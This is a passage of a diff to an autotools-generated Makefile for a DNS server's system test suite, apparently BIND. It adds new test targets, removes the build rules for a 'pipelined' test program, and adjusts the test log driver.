+@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ qpcache_rrsig_any \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ query_source \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ randomizens \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ reclimit \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ redirect \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ resend_loop \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ resolver \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ rfc5011 \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ rndc \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ rndc_confgen \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ rollover \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ rootkeysentinel \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ rpzextra \ @@ -881,20 +906,31 @@ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ rrsetorder \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ rsabigexponent \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ runtime \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ selfpointedglue \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ sfcache \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ sfcache_cname \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ shutdown \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ sig0 \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ sig0_https \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ smartsign \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ sortlist \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ spf \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ srtt \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ ssumaxtype \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ ssutoctou \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ staticstub \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ statistics \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ statschannel \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ stress \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ stub \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ svcb_alias \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ synthfromdnssec \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ tcp \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ tkey \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ tkeyleak \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ tools \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ transport_acl \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ transport_change \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ tsig \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ tsiggss \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ ttl \ @@ -903,6 +939,7 @@ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ views \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ wildcard \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ xfer \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ xfer_servers_list \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ xferquota \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ zero \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ zonechecks @@ -911,7 +948,7 @@ LOG_DRIVER_V_ = $(LOG_DRIVER_V_@AM_DEFAULT_V@) LOG_DRIVER_V_0 = --verbose no LOG_DRIVER_V_1 = --verbose yes -LOG_DRIVER = $(srcdir)/custom-test-driver +LOG_DRIVER = env PYTHON='$(PYTHON)' $(srcdir)/custom-test-driver AM_LOG_DRIVER_FLAGS = $(LOG_DRIVER_V) LOG_COMPILER = $(srcdir)/run.sh all: $(BUILT_SOURCES) @@ -967,18 +1004,6 @@ makejournal$(EXEEXT): $(makejournal_OBJECTS) $(makejournal_DEPENDENCIES) $(EXTRA_makejournal_DEPENDENCIES) @rm -f makejournal$(EXEEXT) $(AM_V_CCLD)$(LINK) $(makejournal_OBJECTS) $(makejournal_LDADD) $(LIBS) -pipelined/$(am__dirstamp): - @$(MKDIR_P) pipelined - @: >>pipelined/$(am__dirstamp) -pipelined/$(DEPDIR)/$(am__dirstamp): - @$(MKDIR_P) pipelined/$(DEPDIR) - @: >>pipelined/$(DEPDIR)/$(am__dirstamp) -pipelined/pipequeries-pipequeries.$(OBJEXT): \ - pipelined/$(am__dirstamp) pipelined/$(DEPDIR)/$(am__dirstamp) - -pipelined/pipequeries$(EXEEXT): $(pipelined_pipequeries_OBJECTS) $(pipelined_pipequeries_DEPENDENCIES) $(EXTRA_pipelined_pipequeries_DEPENDENCIES) pipelined/$(am__dirstamp) - @rm -f pipelined/pipequeries$(EXEEXT) - $(AM_V_CCLD)$(LINK) $(pipelined_pipequeries_OBJECTS) $(pipelined_pipequeries_LDADD) $(LIBS) rndc/$(am__dirstamp): @$(MKDIR_P) rndc @: >>rndc/$(am__dirstamp) @@ -1006,7 +1031,6 @@ mostlyclean-compile: -rm -f *.$(OBJEXT) - -rm -f pipelined/*.$(OBJEXT) -rm -f rndc/*.$(OBJEXT) -rm -f rpz/*.$(OBJEXT) @@ -1015,7 +1039,6 @@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/feature_test-feature-test.Po@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/makejournal-makejournal.Po@am__quote@ # am--include-marker -@AMDEP_TRUE@@am__include@ @am__quote@pipelined/$(DEPDIR)/pipequeries-pipequeries.Po@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@rndc/$(DEPDIR)/gencheck.Po@am__quote@ # am--include-marker @AMDEP_TRUE@@am__include@ @am__quote@rpz/$(DEPDIR)/dnsrps-dnsrps.Po@am__quote@ # am--include-marker @@ -1077,20 +1100,6 @@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(makejournal_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o makejournal-makejournal.obj `if test -f 'makejournal.c'; then $(CYGPATH_W) 'makejournal.c'; else $(CYGPATH_W) '$(srcdir)/makejournal.c'; fi` -pipelined/pipequeries-pipequeries.o: pipelined/pipequeries.c -@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(pipelined_pipequeries_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT pipelined/pipequeries-pipequeries.o -MD -MP -MF pipelined/$(DEPDIR)/pipequeries-pipequeries.Tpo -c -o pipelined/pipequeries-pipequeries.o `test -f 'pipelined/pipequeries.c' || echo '$(srcdir)/'`pipelined/pipequeries.c -@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) pipelined/$(DEPDIR)/pipequeries-pipequeries.Tpo pipelined/$(DEPDIR)/pipequeries-pipequeries.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='pipelined/pipequeries.c' object='pipelined/pipequeries-pipequeries.o' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(pipelined_pipequeries_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o pipelined/pipequeries-pipequeries.o `test -f 'pipelined/pipequeries.c' || echo '$(srcdir)/'`pipelined/pipequeries.c - -pipelined/pipequeries-pipequeries.obj: pipelined/pipequeries.c -@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(pipelined_pipequeries_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT pipelined/pipequeries-pipequeries.obj -MD -MP -MF pipelined/$(DEPDIR)/pipequeries-pipequeries.Tpo -c -o pipelined/pipequeries-pipequeries.obj `if test -f 'pipelined/pipequeries.c'; then $(CYGPATH_W) 'pipelined/pipequeries.c'; else $(CYGPATH_W) '$(srcdir)/pipelined/pipequeries.c'; fi` -@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) pipelined/$(DEPDIR)/pipequeries-pipequeries.Tpo pipelined/$(DEPDIR)/pipequeries-pipequeries.Po -@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='pipelined/pipequeries.c' object='pipelined/pipequeries-pipequeries.obj' libtool=no @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(pipelined_pipequeries_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o pipelined/pipequeries-pipequeries.obj `if test -f 'pipelined/pipequeries.c'; then $(CYGPATH_W) 'pipelined/pipequeries.c'; else $(CYGPATH_W) '$(srcdir)/pipelined/pipequeries.c'; fi` - rpz/dnsrps-dnsrps.o: rpz/dnsrps.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(rpz_dnsrps_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT rpz/dnsrps-dnsrps.o -MD -MP -MF rpz/$(DEPDIR)/dnsrps-dnsrps.Tpo -c -o rpz/dnsrps-dnsrps.o `test -f 'rpz/dnsrps.c' || echo '$(srcdir)/'`rpz/dnsrps.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) rpz/$(DEPDIR)/dnsrps-dnsrps.Tpo rpz/$(DEPDIR)/dnsrps-dnsrps.Po @@ -1110,7 +1119,6 @@ clean-libtool: -rm -rf .libs _libs - -rm -rf pipelined/.libs pipelined/_libs -rm -rf rndc/.libs rndc/_libs -rm -rf rpz/.libs rpz/_libs @@ -1445,6 +1453,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +allow_query_on.log: allow_query_on + @p='allow_query_on'; \ + b='allow_query_on'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) auth.log: auth @p='auth'; \ b='auth'; \ @@ -1459,6 +1474,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +bailiwick.log: bailiwick + @p='bailiwick'; \ + b='bailiwick'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) builtin.log: builtin @p='builtin'; \ b='builtin'; \ @@ -1480,6 +1502,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +cap_glues.log: cap_glues + @p='cap_glues'; \ + b='cap_glues'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) case.log: case @p='case'; \ b='case'; \ @@ -1494,6 +1523,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +cdnxdomain.log: cdnxdomain + @p='cdnxdomain'; \ + b='cdnxdomain'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) cds.log: cds @p='cds'; \ b='cds'; \ @@ -1515,6 +1551,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +checkconf_keys.log: checkconf_keys + @p='checkconf_keys'; \ + b='checkconf_keys'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) checkds.log: checkds @p='checkds'; \ b='checkds'; \ @@ -1536,6 +1579,27 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +cipher_suites.log: cipher_suites + @p='cipher_suites'; \ + b='cipher_suites'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +class.log: class + @p='class'; \ + b='class'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +cname_dname_negcache.log: cname_dname_negcache + @p='cname_dname_negcache'; \ + b='cname_dname_negcache'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) cname_recursion.log: cname_recursion @p='cname_recursion'; \ b='cname_recursion'; \ @@ -1599,6 +1663,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +dns64_dname.log: dns64_dname + @p='dns64_dname'; \ + b='dns64_dname'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) dnssec.log: dnssec @p='dnssec'; \ b='dnssec'; \ @@ -1606,6 +1677,48 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +dnssec_bypass.log: dnssec_bypass + @p='dnssec_bypass'; \ + b='dnssec_bypass'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +dnssec_cname_response.log: dnssec_cname_response + @p='dnssec_cname_response'; \ + b='dnssec_cname_response'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +dnssec_nsec3.log: dnssec_nsec3 + @p='dnssec_nsec3'; \ + b='dnssec_nsec3'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +dnssec_parent_rrsig.log: dnssec_parent_rrsig + @p='dnssec_parent_rrsig'; \ + b='dnssec_parent_rrsig'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +dnssec_py.log: dnssec_py + @p='dnssec_py'; \ + b='dnssec_py'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +dnssec_wildcard.log: dnssec_wildcard + @p='dnssec_wildcard'; \ + b='dnssec_wildcard'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) dnstap.log: dnstap @p='dnstap'; \ b='dnstap'; \ @@ -1669,9 +1782,9 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) -filters.log: filters - @p='filters'; \ - b='filters'; \ +expiredglue.log: expiredglue + @p='expiredglue'; \ + b='expiredglue'; \ $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ @@ -1683,6 +1796,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +filters.log: filters + @p='filters'; \ + b='filters'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) formerr.log: formerr @p='formerr'; \ b='formerr'; \ @@ -1697,6 +1817,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +fwdfirst.log: fwdfirst + @p='fwdfirst'; \ + b='fwdfirst'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) geoip2.log: geoip2 @p='geoip2'; \ b='geoip2'; \ @@ -1711,6 +1838,20 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +hooks.log: hooks + @p='hooks'; \ + b='hooks'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +host.log: host + @p='host'; \ + b='host'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) idna.log: idna @p='idna'; \ b='idna'; \ @@ -1739,23 +1880,51 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) -ixfr.log: ixfr - @p='ixfr'; \ - b='ixfr'; \ +isctest/asyncserver/tests/dnssec.log: isctest/asyncserver/tests/dnssec + @p='isctest/asyncserver/tests/dnssec'; \ + b='isctest/asyncserver/tests/dnssec'; \ $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) -hooks.log: hooks - @p='hooks'; \ - b='hooks'; \ +isctest/asyncserver/tests/duplicate_root_zone.log: isctest/asyncserver/tests/duplicate_root_zone + @p='isctest/asyncserver/tests/duplicate_root_zone'; \ + b='isctest/asyncserver/tests/duplicate_root_zone'; \ $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) -host.log: host - @p='host'; \ - b='host'; \ +isctest/asyncserver/tests/response_handling.log: isctest/asyncserver/tests/response_handling + @p='isctest/asyncserver/tests/response_handling'; \ + b='isctest/asyncserver/tests/response_handling'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +isctest/asyncserver/tests/transport.log: isctest/asyncserver/tests/transport + @p='isctest/asyncserver/tests/transport'; \ + b='isctest/asyncserver/tests/transport'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +isctest/asyncserver/tests/zone_data.log: isctest/asyncserver/tests/zone_data + @p='isctest/asyncserver/tests/zone_data'; \ + b='isctest/asyncserver/tests/zone_data'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +ixfr.log: ixfr + @p='ixfr'; \ + b='ixfr'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +ixfr_nonminimal.log: ixfr_nonminimal + @p='ixfr_nonminimal'; \ + b='ixfr_nonminimal'; \ $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ @@ -1837,6 +2006,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +migrate2kasp.log: migrate2kasp + @p='migrate2kasp'; \ + b='migrate2kasp'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) mirror.log: mirror @p='mirror'; \ b='mirror'; \ @@ -1844,6 +2020,20 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +mirror_root_zone.log: mirror_root_zone + @p='mirror_root_zone'; \ + b='mirror_root_zone'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +mismatchtcp.log: mismatchtcp + @p='mismatchtcp'; \ + b='mismatchtcp'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) mkeys.log: 